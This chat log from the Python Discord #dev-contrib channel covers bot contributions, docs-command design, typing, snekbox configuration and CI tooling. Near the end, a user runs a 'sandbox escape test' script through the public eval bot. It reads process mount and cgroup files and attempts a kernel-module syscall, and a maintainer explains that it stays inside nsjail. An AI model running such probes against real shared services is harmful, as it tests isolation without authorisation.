#dev-contrib
1 messages · Page 23 of 1
maybe I'll feel better about when I see the new message
Sometimes people decide to ignore it and then it's better if at least the embed wasn't there
you're gonna love the new message
I guarantee it
Hey Python community. So I’ve been a Pythonista for going on 2 years now. I had no idea Python’s default interpreter is CPython noted here: https://www.geeksforgeeks.org/what-is-python-interpreter/
This channel is for discussion of development projects for this server. Try #python-discussion
My bad ✅👍
@upper storm your message was removed for soliciting labor and for being off-topic for this channel.
Tiny docs-only PR: bot#3237
Are the docs inventories refreshed on a schedule or only on demand?
Bot restarts could be called a sort of schedule I guess 🙃

Iirc inventories are cached in redis, so I dont think bot restarts would refresh
I did a manual refresh yesterday though
bot#3231 and bot#3340 for two help cog improvements
bot#3240
@cold island you didn't even ask me how to NLP this
def past_tense(word: str) -> str:
"""Return the past tense form of the input word."""
if not word:
return word
if word.endswith("e"):
return word + "d"
if word.endswith("y") and len(word) > 1 and word[-2] not in "aeiou":
return word[:-1] + "ied"
return word + "ed"
Don't show the world this abomination. I just wanted something that worked 🫣
yo
I need some help
Im trying to put a picture on a another window
Heres my code
from tkinter import *
#Basics
window = Tk()
window.attributes('-fullscreen', True)
window.title("pp kaka")
window.config(background="black")
#Photo Stuff
image = PhotoImage(file='C:/Users/QHTF/OneDrive/Desktop/banana-removebg-preview (1).png')
appel = PhotoImage(file="C:/Users/QHTF/OneDrive/Desktop/apple.png")
#Button defs
count = 0
def click():
global count
count+=1
label.config(text=count)
def exit():
window.destroy()
def Skins():
global Skins
Skins = Tk()
window.withdraw()
Skins.attributes("-fullscreen",True)
Skins.config(bg='black')
b4 = Button(Skins, text='Back')
b4.config(command=main_screen)
b4.pack()
appel_label = Label(Skins, image=appel, bg='black')
appel_label.pack()
def main_screen():
global Skins
Skins.destroy()
window.deiconify()
##Button Code
button = Button(window, text="Click For More Clicks")
button.config(command=click)
button.config(font=("Bodoni",50,'bold'))
button.config(bg="black")
button.config(fg='white')
button.config(activebackground='blue')
button.config(image=image)
button.config(compound='bottom')
button.pack()
###Button 2
b2 = Button(window, text="Exit", command=exit)
b2.config(bg='red')
b2.config(fg='black')
b2.config(font=('Bodoni',50,'bold'))
b2.place(x=10,y=200)
####Button 3
b3 = Button(window, text='Skins')
b3.config(bg='blue')
b3.config(font=('Bodoni',50,'bold'))
b3.config(command=Skins)
b3.place(x=1100,y=200)
#Labels
label= Label(window,text=count)
label.config(font=('Monospace', 50), width=19)
label.pack()
Version = Label(window,text='Version:Beta1.0')
Version.pack()
window.mainloop()
Looking to contribute to Open Source Projects for the first time? Want to add a feature or fix a bug on the bots on this server? We have on-going projects that people can contribute to, even if you've never contributed to open source before!
Projects to Contribute to
- Sir Lancebot - our fun, beginner-friendly bot
- Python - our utility & moderation bot
- Site - resources, guides, and more
Where to start
- Read our contribution guide
- Chat with us in #dev-contrib if you're ready to jump in or have any questions
- Open an issue or ask to be assigned to an issue to work on
how can i reproduce that message "Full output:[link]"
and what part of code should i look for
Run Python code and get the results.
thank you , but how can i get that message , to test my changes
:white_check_mark: Your 3.12 eval job has completed with return code 0.
001 | Hello
002 | Hello
003 | Hello
004 | Hello
005 | Hello
006 | Hello
007 | Hello
008 | Hello
009 | Hello
010 | Hello
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/FP6I4CL2FTH4VULXI2PCSWHJF4
okay i found where to modify , i read in the issue that there s already a delete button , do you know where can i find its code so that i can do the same code with both buttons ? thank you
I do not recall where the reactions are added to the bot's messages, but I believe they are part of the view of the response since they are ephemeral
How does it look on mobile?
I created a pull request , it s failing a test which checks for a link instead of a button , i made another commit , in this commit i changed the test file so that it verifies the existing of a button instead of a link
Hi, this channel is for contributing to Python Discord’s open source projects. Feel free to check out #❓|how-to-get-help if you need help with your code
@waxen zealot @fresh hazel @placid stump @wary falcon This channel is for discussing Python Discord projects. If you need help, ask in #1035199133436354600
yea dude
return True
So Lunar New Year starts today and this year is year of the snake. I'm going to try to draft up a themed icon and maybe server banner. Would be around for quick turn around feedback?
🙋♂️
Might be around, feel free to ping
Hey
Regarding https://github.com/python-discord/bot/pull/3244#issuecomment-2611112936, can you elaborate what you mean?
If you run poetry run task lint it will tell you which lines you need to fix as well as fix some of the linting errors for you.
hello, this channel is for discussion of python discord's open source projects
you can re-ask your question in one of the offtopic channels
!ot
Please read our off-topic etiquette before participating in conversations.
oh! thanks sorry
Hi folks! I'm trying to setup sorry for the noise, I forgot to invite the bot to the server 🤦♂️python-discord/bot right now, and when I run poetry run task configure, it seems to fail - is this a known issue, and if there's any workaround?
Traceback (most recent call last):
[...skipped]
File "/Users/strengthless/Repositories/opensource-forks/bot/botstrap.py", line 177, in <module>
all_roles = discord_client.get_all_roles()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/strengthless/Repositories/opensource-forks/bot/botstrap.py", line 124, in get_all_roles
response = self.get(f"guilds/{self.guild_id}/roles")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[...skipped]
File "/Users/strengthless/Library/Caches/pypoetry/virtualenvs/bot-ksPTbImO-py3.12/lib/python3.12/site-packages/httpx/_models.py", line 829, in raise_for_status
raise HTTPStatusError(message, request=request, response=self)
httpx.HTTPStatusError: Client error '404 Not Found' for url 'https://discord.com/api/v10/guilds/1339879011144433686/roles'
For more information check: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/404
And a small caveat: when setting Privileged Gateway Intents, I think you also need to enable Message Content Intent 🤔 Otherwise I kept getting the PrivilegedIntentsRequired error;
Does anyone know whether https://www.pythondiscord.com/pages/guides is open-sourced? If so, I can create a PR for updating the documentation.
Made by us, for you.
pythondiscord.com - A Django and Bulma web application. - python-discord/site
good catch about the message intent, it was probably written before it was a thing
Anyone bored want to take a crack at this?
I think the best option is
- If the library is specified use it.
!d lib1.hello.world!d lib2.hello.world - If multiple results are found: Send a message "Multiple Results Were Found" with buttons for each of the namespaces that returned results. The user can click the button and it will edit the message to the correct result
Also any reason that there are not more app commands for @stable mountain ?
I feel like the docs command would be a great command to have the feature for, especially with autocomplete
It's older than they are
That'd be a lot of items
Isn't there a relatively low limit on the number of items in autocomplete?
Also, can they even be adjusted dynamically?
autocomplete is dynamic, it sends a request to the bot and the bot can return the 25 best fitting options
you are thinking of choices
The list itself
yeah, you can return whatever 25 (or less) elements you want
When I do !doc refresh, can the list of autocomplete-able items be edited while the bot is running?
what does doc refresh do?
This limitation would be in the code, not by discord
Uh... stuff
IDK the details but at a high level, it downloads the Sphinx inventory from each docs site, and puts all of the contents into one giant dict, and !docs <x> looks inside the dict for docs_dict["<x>"]
So when a lib updates !doc does not auto update?
no
Oh, discord puts no limit on autocomplete though (other than 25 returned per charecter the user types) so it woukd still work
its how /tags works
Is it the best option? I'd rather opt for minimum friction, and having to pick which lib you want each time adds friction. I'd be more comfortable prioritizing the symbol that has the same name as the lib
The problem is that there are some symbol that do not match the names of libs.
Also I would argue that a lot more friction would occur for the user if the code based off of the wrong docs
If the symbol doesn't match but there's no other choice then there's no problem. I'm saying that if there are several matches, the most probable choice is the one that belongs to the library of the same name. And if someone wants the other library they can still use the lib1.hello.world syntax
In the first place the import name matches the library name more often than not. So a library name not matching the import name and having several libraries use the same import name and for the original/primary/w.e library to not have the same name as the import name and for all those libraries to be listed on our bot sounds very very unlikely
It's very unlikely even for the case where the original library does match the import name, except for the case that we're thinking about
Thats how some of the discord bot libraries work
Library names py-cord disnake and discord.py import name discord
So the real question is, do we want to assume that "discord" means discord.py unless someone specifies one of the other forks explicitly, or do we want to make the user choose every time they use the name "discord" even though they probably mean discord.py
the latter
I disagree 🤷 I think it's a lot less friction to just make a very likely assumption, and let the user know somehow how to bring up the other choices (I think we already do that)
Can even add a dropdown for the other libs on the embed to make it more user-friendly if we really want to
Correction looks like disnake uses there own import now.
But why is it good to make an assumption? Its like providing references to the mySQL connector lib when the user could be using postgres
Those don't share the same name, do they?
No but it is the same principle
Because it's a UX question. I'd rather inconvenience a relatively small minority with an extra step than inconvenience everyone
It's not the same principle if they don't share the same name.
The same principle would be multiple postgres connectors. They behave slightly differently. In that case we would probably also default the original named one assuming it's still supported, being developed, and the go-to choice.
relatively small minority
In the last year pycord accounts for 10% of messages mentioning pycord or discord.py
I personally do not think that this is a small minority
I think a 1:9 ratio is pretty significant
Inconveniencing the other 90% is not a good option
i dont really get how clicking a single button is an inconvenience.
the thing is there is no "original named one" for the name discord
An extra action everytime adds friction and becomes tedious. Especially when 90% want the same option. It really adds up
The conflicts are all forks of d.py, no?
discord.py != discord
This is a distinction without meaning
pip install discord.py is the correct way to install not pip install discord
Again, distinction without meaning. Python lets the install name and the import name be different. It doesn't change the fact that discord.py is the OG relative to the current docs conflict.
If that's the case then it should make no difference that only pycord users need to take an extra step, since it's not an inconvenience
sometimes, those who are familiar with the command will know to specify pycord in the first place
If that is the solution it is better than nothing to default to the most "common" and "better" and add a button that says "For {other libs docs} Click Here" to edit the message.
My main issue is that so many people just use the command without even knowing what library the user they are helping uses.
But generally, I want a user to have to make as few steps as possible. If you have a program where a commonly clicked button is in a menu within a menu within a menu, that's not a good user experience. I'm exaggerating, but it's the same principle
That's why in large programs with lots of choices you will often have a toolbar with common choices
If they use the command then they're assuming a library. If that assumption is incorrect it's a problem that the user is assuming a library, not that the command matches their assumption
I just don't think it's a good reason to require a dropdown selection every time the top-level name "discord" is invoked
IME it doesn't matter most of the time because you can assume discord.py and you'll be right 90% of the time, and in the 10% of the time if the users question relates to prefix commands or something like that, the answer is still the same
So just assume discord.py and if you give false information to someone its fine because you are right most of the time?
it usually gets worked out. we usually ask people to show us their code, and it's fairly easy to tell if they're using non standard libraries
i'm just saying in practice it's usually never that big of a problem to warrant needing to take action
I constantly help people who have mismatched code and library
Discord library maintainer here, the discord alias available in some libs is a fucking scurge and makes support a pain, development a pain, and is just generally a pain for everyone. My 2 cents is to prioritise discord.py if people use the discord namespace, let the aliases die, they should never have existed
Changing it might help in a few cases but it just means the problems will last forever
(I'm somewhat sick of people asking "why no discord namespace shim" lol, I despise it, and my strong feelings on this is somewhat based on that)
yeah not a fan of that either, though i don't hate it as strongly as you do :P
@plucky lark wants to make a contribution to the bot. but he doesn't know what to do.
Big balls
you need to behave in this server.
Okay 😦
@plucky lark you'll find instructions here for setting up your development environment, including the test server: https://www.pythondiscord.com/pages/guides/pydis-guides/contributing/bot/
A guide to setting up and configuring Bot.
Oki doki
Have you checked the different bot issues we have open ?
Not yet, ill check it out today
Hi folks! We're a group of students from KTH, and we're currently taking a software engineering course that requires us to contribute to open source projects in some way.
We're wondering how the issues are structured/ assigned, and if there's any open issue that we can help with? I assume we should look for status: approved issues without assignees? 🤔
yes, you can leave a comment on the issue asking to take them on. you'll want to look at the up for grabs tag and good first issues tag
if there isn't a more specific restriction on what kind of open source contribution your instructors are looking for, you can also leave reviews on existing PRs
Will refreshing doc inventories actually fix the error popping up in dev log?
(you can try)
!d refreshdoc
Hey! Wondering if anyone can shed some light on the Superstarify Upgrade issue?
The requirements seem a little vague, and we don't see any existing starify command in the code base. Is it something that's expected to be new?
it is about this command: https://github.com/python-discord/bot/blob/main/bot/exts/moderation/infraction/superstarify.py#L106
bot/exts/moderation/infraction/superstarify.py line 106
@command(name="superstarify", aliases=("force_nick", "star", "starify", "superstar"))```
Interesting. In that case, what exactly is the "severe lack of images" referring to? I don't think you can force a user's profile pic? 🤔
This issue is from >5 years ago. Superstarify was going to have quite a different implementation back then. I'd treat this issue as "Add more options to the stars list"
!help superstar
oops i was scrolled a bit up
yeah I don't think you can change an user's profile picture
if anything, you could have the bot send it in the embed
The bot used to include the image of the celebrity in the superstar embed #ot1-perplexing-regexing message
but it was removed here: https://github.com/python-discord/bot/commit/539451aba55201b25637d0f452010cd878e71292#diff-06558c3ea8638dadde3b152ecdf987b2eee3b4c5010590414562f780aa8cef0cL195
#dev-log message
Looks like it didn't work
An admin can int e and check which item has that id
If you hover over the URL or open it, it's a few different symbols causing this
I'm guessing something changed in how we parse the inventory files?
Well it only started appearing after a version bump of the deps. Likely suspect:
- bs4 bump 4.12.3 -> 4.13.3
There seems to be quite a few changes from 4.12.3 -> 4.13.0 alone: https://git.launchpad.net/beautifulsoup/tree/CHANGELOG
Quick question: do we have any interest in adding tests to sir-lancebot?
For context, I'm currently working on one of the feature requests (link), and since it's part of our uni course - we had to include unit tests for our changes. We're wondering if you want us to include the tests as part of our PR?
We don't require tests on Sir Lancebot to reduce barriers to contribute.
As for you adding them, our core devs will have to chime in but personally I think it's fine. It could be a good opportunity for others in the future to get introduced to testing without making it a hard requirement.
sir lancebot doesn’t have any testing infrastructure set up so that might be tough
Yep that's what I thought as well 👍 could be great for new devs if it's not a hard requirement for contributing
Fortunately we already have a working branch - it's heavily based on python-discord/bot, but at least it worked well enough for us for start writing test cases.
Attached below is a screenshot that shows a successful test run on test_helpers.py (referenced from the bot repo), and our preliminary test_adventures.py.
!d refreshdoc
I've dropped bs4 back down to 4.12.3 as I suspect this is the problem too. I briefly checked the docs cog on my upgrade branch and it was working fine. but it looks like this error isn't with every docs invocation, so I missed it
tl;dr No.
Long version, as other have said, sir-lancebot is aimed to be a very low barrier for entry project, often used as a tool for people new to git, github and OSS in general. So we want to keep the barrier to entry very low.
I wouldn't want someone to make a change, open a PR, and then get a failing test in CI, even though their change is "correct", if it changes behaviour that was tested, it could potentially dissuade them.
We have many other projects, that do have tests, so people who are looking for an opportunity to contribute, and learn testing methods, we have that covered
If you are making changes, I would recommend opening an issue first, to have a discussion with our core devs. This will avoid investing time in work that doesn't end up getting merged for whatever reason.
(This is also mentioned in the contributing guide iirc)
Further to this, if someone wants to spend some time going through the changelog Kat linked, and updating the docs cog to support the latest version of bs4, feel free to do so. Ping me when the PR is up and I'll give it a review!
Yep sounds good, we'll keep them in separate branches then 👍 we needed the tests mostly for ourselves; was just wondering if you guys might find it any useful
Hi folks! Following this discussion thread, I'm really curious how you'd translate the following TS type into Python:
type GameData = {
start: RoomData
[room_id: string]: RoomData | EndRoomData
}
I wonder if using Unpack like this might be an anti-pattern? It would probably throw an error if stricter type check is enforced, but I think this should suffice for documentation purpose (as a type hint)?
class GameData(TypedDict):
start: RoomData
extra_rooms: Unpack[Dict[str, RoomData | EndRoomData]]
Any thoughts/ suggestions? 🤔 cc @timid sentinel
I'm not familiar with typescript's type system, have you got some examples of the struct to show what it is supposed to store?
Basically, GameData is a dictionary that requires a start: RoomData key-value pair, and optional pairs of room_id: RoomData | EndRoomData with any string keys, e.g.:
sample_game_data: GameData = {
# start is required, with RoomData
"start": {
"text": "A wolf is on the prowl! You are one of the three little pigs. Choose your starting action:",
"options": [
{
"text": "Build a Straw House",
"leads_to": "straw_house_branch",
"emoji": "🌾"
}
]
},
# some arbitrary data, as long as key is a string, and value is RoomData | EndRoomData.
"straw_house_branch": {
"text": "You've chosen to build a straw house. What do you do?",
"options": [
{
"text": "Hurry and finish!",
"leads_to": "ending_1",
"emoji": "💨"
}
]
},
# sample of another arbitrary data, using EndRoomData
"ending_1": {
"text": "The wolf huffs and puffs and blows your house down! You're captured!",
"type": "end",
"emoji": "🐺"
}
}
ahh right, there isn't currently a solution to enforce types of arbitrary keys with typed dicts.
PEP 728 outlines how it might be solved in the future
something like pydantic's root model might work here instead for now
Interesting, would love to see that PEP get implemented.
I guess there is no vanilla solution for this then? Unless you update the struct to include one more nesting level, e.g.:
class GameData(TypedDict):
start: RoomData
extra_rooms: dict[str, RoomData | EndRoomData]
type GameData = {
start: RoomData
extra_rooms: {
[room_id: string]: RoomData | EndRoomData
}
}
Yeah, either switch to using a pydantic.RootModel, or add another level like you have there
I don't think pydantic would be able to handle what you want either, since it's a typing limitation.
I don't really mind what the solution is, but as we don't use a type checker, I don't think it's worth worrying too much over and a less accurate type would be fine. I would prefer a less accurate type over an invalid type.
One option is just to make it valid for the start room to be an end room :)
Wouldn't be a very fun adventure, but would prevent needing to distinguish the cases.
Ah yeah, thought you could do ```py
from pydantic import RootModel
class Foo(RootModel):
start: str
root: dict[str, str|int]
but no NameError: Unexpected field with name 'start'; only 'root' is allowed as a field of a RootModel
IE all keys are strings that map to strings or int, except for start that aways maps to a string
but you can only do the first part of that via root model
yeah
Looks like we used to be able to work around it with __root__ in Pydantic v1 (ref), but it's now deprecated in favour of RootModel 🤔
edit: now that I think about it, I'm not even sure if you could add more fields along with __root__, so it probably didn't work back then either.
!contribute here is some info on how to contribute
Looking to contribute to Open Source Projects for the first time? Want to add a feature or fix a bug on the bots on this server? We have on-going projects that people can contribute to, even if you've never contributed to open source before!
Projects to Contribute to
- Sir Lancebot - our fun, beginner-friendly bot
- Python - our utility & moderation bot
- Site - resources, guides, and more
Where to start
- Read our contribution guide
- Chat with us in #dev-contrib if you're ready to jump in or have any questions
- Open an issue or ask to be assigned to an issue to work on
Thank
!e from scipy.ndimage import convolve
:x: Your 3.12 eval job has completed with return code 139 (SIGSEGV).
001 | OpenBLAS blas_thread_init: pthread_create failed for thread 3 of 4: Resource temporarily unavailable
002 | OpenBLAS blas_thread_init: ensure that your address space and process count limits are big enough (ulimit -a)
003 | OpenBLAS blas_thread_init: or set a smaller OPENBLAS_NUM_THREADS to fit into what you have available
004 | OpenBLAS blas_thread_init: RLIMIT_NPROC -1 current, -1 max
005 | Traceback (most recent call last):
006 | File "/home/main.py", line 1, in <module>
007 | from scipy.ndimage import convolve
008 | File "/snekbox/user_base/lib/python3.12/site-packages/scipy/ndimage/__init__.py", line 156, in <module>
009 | from ._support_alternative_backends import *
010 | File "/snekbox/user_base/lib/python3.12/site-packages/scipy/ndimage/_support_alternative_backends.py", line 7, in <module>
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/AYPBH4E3PYLVZHX3I4LLOSY7RI
snekbox#235
What're the options?
Can it run on 1 thread? Or would be need to allow more threads?
you can set an environment variable to make it work on one thread I believe
Yeah it says that in the error message, I just didn't know if a smaller number of threads would cause problems
config/snekbox.cfg line 13
envar: "OPENBLAS_NUM_THREADS=5"```
it's already set
The problem might be the PID limit https://github.com/python-discord/snekbox/blob/main/config/snekbox.cfg#L103
config/snekbox.cfg line 103
cgroup_pids_max: 6```
Hey there. I saw that you guys forked the modmail-dev/modmail bot and made some small changes. I saw you had a few patches for what I assume were things that didn't quite work and would like to know if it's possible that we could add this as part of the public bot. I'm talking specifically about these features. The github actions for instance are for your setup so I will ignore those
Yeah feel free to pull them upstream
The fork follows the same license as the original repository, so you could create a new branch then cherry-pick https://github.com/modmail-dev/Modmail/commit/5b1da5862fe41a4e6b190c2471004a933bdc7158 and https://github.com/modmail-dev/Modmail/commit/2d1adec77b652012e3c56b57ef36b7fd9713eb60 & create a PR without needing to ask for permission
it is a few commit behind the original repository master branch though, so there could be a few merge conflicts
(I didn't check if there actually are any or not)
I feel like it's respectful to still ask even if the license allows it
yeah fair
I'll have to figure out how exactly as I can't fork your repo because I already forked the upstream repo. But that's for me to figure out
iirc you can add ours as a remote in the same project then checkout? not sure
Yeah, just add another remote, fetch it and then cherry-pick the commit
git remote add pydis git@github.com:python-discord/modmail.git
git fetch pydis
git checkout -b pull-pydis-changes-upstream
git cherry-pick 2d1adec77b652012e3c56b57ef36b7fd9713eb60
git cherry-pick 5b1da5862fe41a4e6b190c2471004a933bdc7158
git remote remove pydis
that should be pretty close, typed in discord so milage may vary
and as always when working with unfamiliar git commands, create a .zip of your local entire repository to restore it if you mess up
(half joking, but that actually saved me once)
lol
thanks. I've made the PR now
I can add that to my CV as well
- Used git cherry-pick once
hah nice
Is there any way to see why something isn't getting added to duckpond without explicit logs? Like maybe int-e investigating?
This message, as far as I can tell, did meet all the requirements to get naturally duckponded: #ot2-never-nester’s-nightmare message
But it didn't and had to be duckified manually.
Is it the helpers permission view check maybe? https://github.com/python-discord/bot/blob/main/bot/exts/fun/duck_pond.py#L130
bot/exts/fun/duck_pond.py line 130
async def on_raw_reaction_add(self, payload: RawReactionActionEvent) -> None:```
I'm more suspicious of the function not trying to fetch the member if it's not cached
helloo
OT can't be ducked
why not? It's not in the blacklist constants
kubernetes/namespaces/bots/bot/configmap.yaml line 9
DUCK_POND_EXTRA_CHANNEL_BLACKLIST: "[291284109232308226,463035241142026251,463035268514185226]" # The 3 off-topic channels```
Why there and not in the bot repo?
Can't remember why we did this
and also why?
Was april 1st last year
rip, that would've been fun
The best way for permenant changes are to make temporary ones
Temporarily ignore the off topic channels for duckpondhttps://github.com/python-discord/infra/commit/45d3153eae7ea2f94e866c8a4ddb7cb44742f1e5
I noticed the domain dontasktoask.com is not filtered while the link is, is this an oversight or is it intentional?
i.e. adding https:// before it gets blocked afaik
More of a moderation thing. If the mods think it's something that's posted often they can block that as well
Hey o/, are there any issues rn to be picked up on prio on any repo/project? Just looking as I got some time on me rn
It's been awhile, how do I run the ruff pre-commit stuff?
Ah nvm, poetry was just being difficult
Helper function idea: length-limiting templates. Instead of playing whack-a-mole with checking the length of user inputs (while the limit could change), maybe we could have something like this?
safe_format(
"Hello, {name}! The requested entity {query} is not found. Did you mean {suggestion}?",
name=user.name, query=query, suggestion=suggestions[0],
)
``` Normally, it would shorten the longest input so that the whole message is large enough for Discord, adding `...` when needed. There could also be a flag so that it raises an error like `SubTooLong('query')`, or to issue a warning so that we can add proper length limiting for better UX.
Maybe priorities could also be supported, so that you can tweak which input to contract: ```py
safe_format(
"Hello, {name}! The requested entity {query...} is not found. Did you mean {suggestion}?",
name=user.name, query=query, suggestion=suggestions[0],
)
Hmm, I know eval has some pretty complex code to try and keep the output short enough. It would be nice for that logic to be handled by a helper function but eval might be a bit too special.
There are a few other places I can think of where it would be nice, though a lot of the time getting the absolute longest message isn't really necessary, and choosing to limit it lower than the character limit to be safe may actually be better anyway.
Do we have any other things that should be watched for when sending templated messages? Stuff like code block escapes, unexpected mentions, etc.
We could have a templating system that handles all that, kinda like SQL libraries handle input substitution
mentions is mostly mitigated by allowed_mentions
if not entirely mitigated (check the defaults for each bot)
also a decent few commands return embeds which mitigate that further if there was any doubt
honestly though, I think parroting user input is dumb and is a pattern we should very very very strongly avoid
if your response transformations don't add anything to the initially inputted content, don't return that content
no search results should just say that, not "nothing found for XXX"
That's a good point
I would like to share the inverse-code is a encryption library I just created in Python. It is based on the ASCII Table of Windows-1252.
👉 https://pypi.org/project/inverse-code/
This cryptography is at least vaguely similar to real-world things, such as Reed-Solomon error correction codes or some interspersed data formats that can be transmitted by IoT edge devices.
ASCII, means American standard code for information exchange. It is a 7 -bit character code where each individual bit represents a unique character.
All source code was created from scratch without the use of a third party library. This library has two main code and encode functions that encodes 4 character packages shuffling them into 32-bit integer values for transmission and then reverses the operation at the end of receipt to reconstruct the original text.
Following better programming practices and clean code I used the following tools:
Pylint - For statistical analysis of the code.
Black - For code formatting.
Unittest - To test the library.
I used the updated version of PEP - Python Enhancement proposals.
"least vaguely similar to real-world things"?
"one of the goals is to help and see how my code can be amazing when I am working on a problem where none of these libraries still exist"?
If you want to play around, I'd recommend for you to go create a CLI, some discord bot, a website or a game
Do not try to implement anything critical to security yourself unless you are taking it seriously and take the proper steps to ensure it is 100% secure against potential hackers.
One way or the other, that is not on topic for this channel. There is no place for sharing personal projects in this server, try somewhere else like Reddit
Once again sorry for the spam in #dev-log , but my computer is dying a slow and painful death, so poetry refused to work and I could not get the precommit/tests to run locally.
don't worry me and chris spam in there all the time
Also just a note since I don't know where else I would put this, but I'm not a fan of Ruff's lints RET505 though RET508, since even if it's useless to have them joined like in ```py
if not lines:
raise BadArgument(...)
elif len(lines) == 1:
...
...
It makes it clear these are part of the same logical statement. This logical fragmentation also only gets worse the more control flow breaking statements are in the chain.
I think it's a very dubious set of rules. Having something like this: ```py
if foo:
return case1
else:
return case2
The point of a "guard clause" or an early return is to signal some kind of special condition which means that we skip normal processing
At least ruff didn't blindly copy RET504 which is just wrong
@clever wraith your message was removed for violating server rule 6. This server is not a place to seek employment or advertise services.
Thanks for your feedback...
cc @rapid swallow since you've worked on that module in a recent PR
https://github.com/python-discord/bot/issues/3315
it seems like there's a pattern with carelessly putting user input into a URL 🤔
I'm not sure if this is worth fixing since we're accessing the public github API with no API keys or something like that. But it is kinda spooky
maybe it's just that strings are evil and we should just be careful ™️
Actually, maybe it would be smart to use yarl for URL manipulation? We already depend on it through aiohttp.
!remind 6h BAN users who post URLs
Your reminder will arrive on <t:1744537119:F>!
Speaking of patterns,
bot#3311
You might be interested in reviewing this PR (since you commented on the previous zen command PR)
hey guys. i’m happy to jump in and do some PR reviews for you guys. please let me know.
I would be interested in having someone look at my PR since I’m currently still in the checking anxiously several times daily stage
I will try to look it but I warn that I am very lazy
Here's your reminder: BAN users who post URLs
[Jump back to when you created the reminder](#dev-contrib message)
!remind 1h review 3311
Your reminder will arrive on <t:1744568177:F>!
Here's your reminder: review 3311
[Jump back to when you created the reminder](#dev-contrib message)
approved from me
one more staff approval to go
Yay!
!zen ::-1
Namespaces are one honking great idea -- let's do more of those!
If the implementation is easy to explain, it may be a good idea.
If the implementation is hard to explain, it's a bad idea.
Although never is often better than right now.
Now is better than never.
Although that way may not be obvious at first unless you're Dutch.
There should be one-- and preferably only one --obvious way to do it.
In the face of ambiguity, refuse the temptation to guess.
Unless explicitly silenced.
Errors should never pass silently.
Although practicality beats purity.
Special cases aren't special enough to break the rules.
Readability counts.
Sparse is better than dense.
Flat is better than nested.
Complex is better than complicated.
Simple is better than complex.
Explicit is better than implicit.
Beautiful is better than ugly.
🙌🙌🙌
Beautiful is better than ugly.
Sparse is better than dense.
Unless explicitly silenced.
Although never is often better than right now.
Pythonic zen command! We love to see it
so confused lol https://github.com/python-discord/bot/pull/3317
Joe bit me once actually. Now I'm an Englishman
proud to be a #RadioactiveEnglishman
what is mean?
Hi
Might open a PR for moving lancebot to uv
somehow I've managed to get into the situation where the only place I have poetry installed is inside my poetry virtual environment.
I think I (once again) made the mistake of thinking poetry self update wouldn't completely break poetry
windows host?
If so, they actually have added a note to their docs about that now
but yeah, happy to review the uv PR when you open it wookie
FWIW I would be very happy if all the bots moved to uv, since I could not get poetry to install on my (dying windows) system, while uv works just fine
Hmm, seems like the pip-licenses run in lancebot CI is broken (the command uses the ALLOWED_LICENSE env var, but the name of the defined var is ALLOWED_LICENSES), but fixing the check will cause it to fail because pip-licenses doesn't support PEP 639 so it can't detect the license of some libraries.
Should we
- Allow unknown licenses for now with pip licenses
- Remove the check completely for now
- Use an alternative. Seems there is a fork where someone has added support but it's very new, not sure if there are other libraries that do similar things
I explicitly added attrs as an ignored package for now in the bot ci, we could do something similar for lance
I think long term if it doesn't get updated, we either remove the check in CI or move to an alternative, there just doesn't seem like a good one atm
Current ones showing as unknown for lancebot are RapidFuzz, attrs, typing_extensions and urllib3
I assume some of those will apply to bot when deps are updated
if a bunch of packages are changing now it might be a bit of a game of cat and mouse to explicitly ignore, idk though
Yeah thats true
I don't think it's worth trying to maintain it for the little benefit it gives us, since we're rarely adding new deps anymore
I know this channel is for projects in the https://git.pydis.com repos, but would this be the place to discuss making contributions for repos managed by the PSF?
Or would that be something for #internals-and-peps ?
yep we can only advise here around python-discord owned repos, #internals-and-peps is a good shout though best shot is probably creating/commenting on issues under github.com/python 🙂
Is the site CI failing something I did? I thought the yaml file looked fine and it worked when I tested locally.
Ah, now the run report is loading for me.
idk if it is possible to load some kernel but if my code below is right then it is critical security issue
!e
try:
test_code = """
import os, ctypes, fcntl
print("=== Advanced Sandbox Escape Tests ===")
try:
with open("/proc/self/mountinfo") as f:
print("Mount namespace escape possible") if "/.." in f.read() else None
except Exception as e:
print(f"Mount namespace secure: {type(e).__name__}")
try:
libc = ctypes.CDLL(None)
libc.syscall(175, b"module_name") # finit_module
print("❌ Kernel module load possible")
except Exception as e:
print(f"Kernel syscall blocked: {type(e).__name__}")
try:
with open("/proc/self/cgroup") as f:
if "docker" not in f.read():
print("Cgroup namespace escape possible")
except:
print("Cgroup access blocked")
try:
if os.getuid() == 0:
print("ROOT ACCESS - SANDBOX BROKEN")
else:
print(f"Running as UID {os.getuid()} (good)")
except:
print("UID check blocked")
"""
eval(compile(test_code, "<string>", "exec"))
except Exception as e:
print(f"First-level sandboxing working: {type(e).__name__}")
:white_check_mark: Your 3.12 eval job has completed with return code 0.
001 | === Advanced Sandbox Escape Tests ===
002 | Mount namespace secure: FileNotFoundError
003 | ❌ Kernel module load possible
004 | Cgroup access blocked
005 | Running as UID 65534 (good)
Yeah you could use this to load a module if you really wanted, but you're still inside the nsjail environment
A vulnerability would be if you are able to escape nsjail
3.14-dev in snekbox bot#3324 snekbox#236
!e 3.14 import sys; print(sys.version)
Sorry, an unexpected error occurred. Please let us know!
ClientResponseError: 400, message='Bad Request', url='http://snekbox.snekbox.svc.cluster.local/eval'
:white_check_mark: Restarted deployment snekbox in namespace snekbox.
!e 3.14 import sys; print(sys.version)
Sorry, an unexpected error occurred. Please let us know!
ClientResponseError: 400, message='Bad Request', url='http://snekbox.snekbox.svc.cluster.local/eval'
@chris
chris, please fix this p1, sincerelyjoe
fix incoming
1-68 minutes
I will turn off the pagerduty
!e 3.14 import sys; print(sys.version)
:white_check_mark: Your 3.14 pre-release eval job has completed with return code 0.
3.14.0b1+ (heads/3.14:8f4bf15, May 22 2025, 22:38:07) [GCC 12.2.0]
winner
🐐
kris line 1
chris```
`Owl.py` line 1
```python
goat```
huge
got pydis bot running. We're in. 💪
I'd appreciate if someone could have a look and give me a green light on this https://github.com/python-discord/bot/issues/3327#issuecomment-2927648839
Supersedes #3325. This issue is for the addition of a new argument to the !slowmode set command to have the bot time out slowmodes. Proposed syntax: !slowmode set [channel] <delay> <durati...
This all looks good to me 👍
it already has the approved label but consider this a green light for your proposed solution
Hi, the site appears to have some TLS issues: https://pythondiscord.com/pages/guides/pydis-guides/contributing/contributing-guidelines/
Guidelines to adhere to when contributing to our projects.
